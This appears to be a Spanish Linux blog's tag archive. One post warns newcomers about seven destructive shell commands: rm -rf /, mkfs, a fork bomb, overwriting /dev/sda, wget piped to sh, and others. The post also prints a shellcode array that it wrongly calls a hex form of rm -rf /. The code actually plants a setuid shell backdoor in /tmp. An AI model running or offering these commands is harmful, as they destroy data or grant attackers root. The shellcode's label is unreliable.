Archivo de la etiqueta: Linux

En que lenguaje esta programado Linux?

Desde que inicie en el uso de este sistema operativo me pregunte en que lenguaje se encontraba programado, busque y busque sin encontrar algo que fuese creible o logico, pero este review de MuyComputer esta bastante bueno y bien desmenuzado… y en resumen viene siendo asi…

Lleva un poco de ensamblador (logicamente) para controlar el hardware y en su mayoria lenguaje C, sus librerias y utilidades de igual manera esta desarrollada en lenguaje C (mkdir, chmod, chown, head, tail, chroot, uptime, users, sus gestores de paquetes y programas de configuracion(yum, apt, dpkg, etc…) de igual manera esta en lenguaje C, los entornos de escritorios y ventanas tambien…Por lo que veo casi todo el kernel de linux esta compilado en C y se varian unos cuantos lenguajes extras en las aplicaciones graficas de usuarios tales como python, java, peal y C nuevamente

Las decendencias de GNU-LINUX..

Les ragalo el ábol genealógico de las distribuciones GNU/Linux, ya habia visto en repetidas ocaciones la imagen, pero jamas me habia puesto a analizarla detalladamente como lo hice ahora.

Para ver la imagen en tamaño completo da clic sobre la imagen

gldt76ms9

Video SFD Nicaragua 2008

Por Leandro Gomez..

7 comandos de linux mortales

lefoi-tux-skull-1834El mundo de la consola linuxera tiene esas cosas, es tan poderoso que a raíz de esto mismo las posibilidades de destruir un sistema en una sola línea de comando (si no se sabe lo que se hace) son mayores que en Windows. En Tech Source from Bohol armaron un interesante listado de 7 comandos que, ejecutados desde la consola con los derechos pertinentes, son capaces de barrer con cualquier sistema y sus datos. Aunque no sean los únicos, conviene recordarlos o tenerlos a mano para nunca tipearlos, debido a que suelen ser utilizados por algunos idiotas como una supuesta solución en respuesta a las preguntas que novatos en Linux puedan hacer en algún foro.

rm -rf /  : Este comando  recursiva y forzozamente  borra todos los archivos dentro del directorio raíz.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;  version hezadecimanl de [rm -rf /]

mkfs.ext3 /dev/sda: Esto reformatear o realiza un Wipeout de todos los archivos del dispositivo que se menciona después  que el comando mkfs.

:(){:|:&};: Conocida como forkbomb, este comando le dice a su sistema que ejecute un gran número de procesos hasta que el sistema se congela. Esto puede conducir a menudo a la corrupción de datos.  Esto provoca la perdida de datos

any_command > /dev/sda: Esto provoca la perdida de datos Esto llama a la ejecucion de un codigo malicioso (muy posible dado por ellos mismo no al azar) Nunca realizar descargas de sitios no confiables

wget http://some_untrusted_source -O- | sh : Esto llama a la ejecucion de un codigo malicioso (muy posible dado por ellos mismo no al azar) Nunca realizar descargas de sitios no confiables

mv /home/yourhomedirectory/* /dev/null:Esto mueve todo el contenido de tu directorio HOME a un sitio que no existe asi que en ese momento despidete de esos archivos…Nunca los volveras a ver..


Sistemas operativos portatiles, opciones y funciones

Gracias a programas como Unetbootin, hoy en día es muy sencillo crear Sistemas Operativos basados en Linux y que puedan ser fáciles de transportar e instalables desde un puerto USB, sin necesidad de un CD de booteo.

Entre los cuatro más populares nos encontramos con Damn Small Linux, Puppy Linux, Xubuntu y Fedora. Cada uno se distingue por sus requerimientos, podremos utilizar estos Sistemas Operativos en viejas computadoras o en algunas de nueva generación, dependiendo del uso que necesitemos darles, y de sus capacidades, escogeremos cual de estas opciones nos resulta más conveniente.

Damn Small Linux es muy pequeño, no supera los 50MB según los encargados del proyecto. Su principal ventaja, al estar basado en una versión vieja del Kernel de Linux, es que funciona de maravillas en computadoras viejas. Con decir que es posible correrlo de manera eficiente en una computadora con procesador Intel 486.

Puppy Linux es un poco más pesado, cerca de los 100 MB, pero tiene la ventaja de poder correr desde una memoria superior a los 25 MB de RA, por lo cual puedes sacar tu pendrive y seguir trabajando. A poco de instalarlo ya podrás conectarte a Internet, reproducir archivos de video, grabar discos Blu-ray.

Xubuntu esta basado en el famoso Sistema Operativo Ubuntu, y a los que ya hallan trabajo con aquel, les encantará. Es un poco más pesado que los anteriores, ronda los 560 Megas, y una vez instalado ya posee todas las aplicaciones necesarias para sumergirnos en la red, y realizar trabajos con nuestra computadora.

Finalmente el Fedora 9, el más pesado de todos los Sistemas Operativos portátiles que trabajamos hoy, requiere de una PC con, por lo menos, 256 MB de RAM para correr, pesa 725 MB y posee ventajas, por sobre los demás, en cuanto al almacenamiento de archivos.